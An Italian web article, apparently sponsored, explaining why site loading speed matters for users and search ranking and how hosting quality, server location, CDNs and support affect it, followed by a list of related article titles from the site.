Perché la velocità del sito è importante?
Per chi gestisce un progetto online, la velocità di caricamento di un sito web ne determina il successo stesso: alcuni dei motivi per cui è tanto essenziale dedicare attenzione a questo aspetto li abbiamo già elencati.
Come anticipato, un sito web lento è a dir poco frustrante per gli utenti e aumenta nettamente il tasso di abbandono. L’obiettivo è di offrire un’esperienza fluida e piacevole, così da incoraggiarli a rimanere sulla piattaforma ed esplorare i contenuti, con un ritorno importante sul coinvolgimento e sulla fidelizzazione.
Non solo: la velocità è tra i fattori di ranking utilizzati dai motori di ricerca come Google per valutare le prestazioni di un sito. Se non carica bene, sicuramente possono esserci delle ripercussioni in termini di visibilità nei risultati di ricerca e posizionamento organico.
L’hosting influenza la velocità del sito
Prima di tutto, l’hosting influenza non solo la velocità del sito, ma anche le prestazioni stesse. Pertanto, propendere per una soluzione ottimizzata significa credere davvero nel proprio progetto e investire al meglio.
Con un hosting di qualità, si vanno a ridurre i tempi di caricamento delle pagine e molti fornitori come Serverplan si impegnano per fare la differenza per i propri clienti.
Ci sono, nello specifico, dei fattori che influenzano la velocità del sito, ovvero la localizzazione dei server, l’uso di Content Delivery Network (CDN) e la capacità di uptime.
Naturalmente, il supporto tecnico è un ulteriore punto di riferimento, perché, nel momento in cui si verificano problemi al sito, dobbiamo essere assolutamente certi di intervenire nel minor tempo possibile.
La scelta dell’hosting giusto fa sempre la differenza
Le opzioni a nostra disposizione al giorno d’oggi sono molteplici: internet è un mondo (davvero) vasto; quindi, abbiamo la possibilità di valutare diversi fornitori di hosting.
Ciò che non dobbiamo mai dimenticare è di valutare le risorse e le prestazioni offerte dal provider: dobbiamo essere certi che possano soddisfare le nostre esigenze attuali e future del sito.
Per fare un esempio concreto: il sito può crescere nel tempo – si spera! – quindi sapere di poter offrire un servizio costante e veloce nel tempo è molto importante per gli imprenditori.
Altri criteri da non sottovalutare mai? Sicurezza, backup e, come anticipato, il supporto tecnico: con un hosting ottimizzato, navigare sul proprio sito non è mai stato così facile.
-
News3 anni ago
Hacker Journal 280
-
News7 anni ago
Abbonati ad Hacker Journal!
-
Articoli2 anni ago
Parrot Security OS: Linux all’italiana- La distro superblindata
-
Articoli3 anni ago
Guida: Come accedere al Dark Web in modo Anonimo
-
Articoli7 anni ago
Superare i firewall
-
News5 anni ago
Le migliori Hacker Girl di tutto il mondo
-
Articoli5 anni ago
Come Scoprire password Wi-Fi con il nuovo attacco su WPA / WPA2
-
News7 anni ago
Accademia Hacker Journal